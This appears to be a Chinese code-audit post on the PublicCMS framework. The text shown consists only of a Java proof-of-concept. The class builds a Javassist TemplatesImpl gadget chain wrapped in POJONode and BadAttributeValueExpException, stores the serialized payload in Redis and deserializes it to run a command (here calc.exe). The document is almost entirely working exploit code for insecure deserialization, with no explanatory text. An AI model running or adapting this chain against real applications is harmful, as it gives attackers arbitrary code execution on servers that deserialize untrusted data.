开源框架PublicCMS的一次简单代码审计

public class public_cms {    public static void main( String[] args ) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        ctClass.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);        constructor.setBody("{ Runtime.getRuntime().exec("calc.exe"); }");        ctClass.addConstructor(constructor);        byte[] bytes = ctClass.toBytecode();        TemplatesImpl templatesImpl = new TemplatesImpl();        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});        setFieldValue(templatesImpl, "_name", "boogipop");        setFieldValue(templatesImpl, "_tfactory", null);        POJOnode1 jsonNodes = new POJOnode1(templatesImpl);        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");        val.setAccessible(true);        val.set(exp,jsonNodes);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);        objectOutputStream.writeObject(exp);        FileOutputStream fout=new FileOutputStream("1.ser");        fout.write(barr.toByteArray());        fout.close();        FileInputStream fileInputStream = new FileInputStream("1.ser");        System.out.println(serial(exp));        System.out.println(deserial());    }    public static byte[] serial(Object o) throws IOException, NoSuchFieldException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(o);        oos.close();        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());        System.out.println(bytesToHex(baos.toByteArray()));// 设置Redis数据库连接参数        String host = "127.0.0.1";        int port = 6379;        String password = "";        Jedis jedis = new Jedis(host, port);//        jedis.auth(password);        jedis.set("test".getBytes(), baos.toByteArray());        return baos.toByteArray();    }    public static Object deserial() throws IOException, ClassNotFoundException {        // 设置Redis数据库连接参数        String host = "127.0.0.1";        int port = 6379;        String password = "";        Jedis jedis = new Jedis(host, port);        // jedis.auth(password);        byte[] data = jedis.get("test".getBytes());        if (data == null) {            throw new IOException("No data found in Redis for key 'test'");        }        System.out.println(bytesToHex(data));        ByteArrayInputStream bais = new ByteArrayInputStream(data);        ObjectInputStream ois = new ObjectInputStream(bais);        Object o = ois.readObject();        ois.close();        return o;    }    public static String bytesToHex(byte[] bytes) {        StringBuilder hexString = new StringBuilder();        for (byte b : bytes) {            // 将每个字节转换为两个十六进制字符            String hex = Integer.toHexString(0xFF & b);            if (hex.length() == 1) {                // 如果只有一个字符，前面补0                hexString.append('0');            }            hexString.append(hex);        }        return hexString.toString();    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}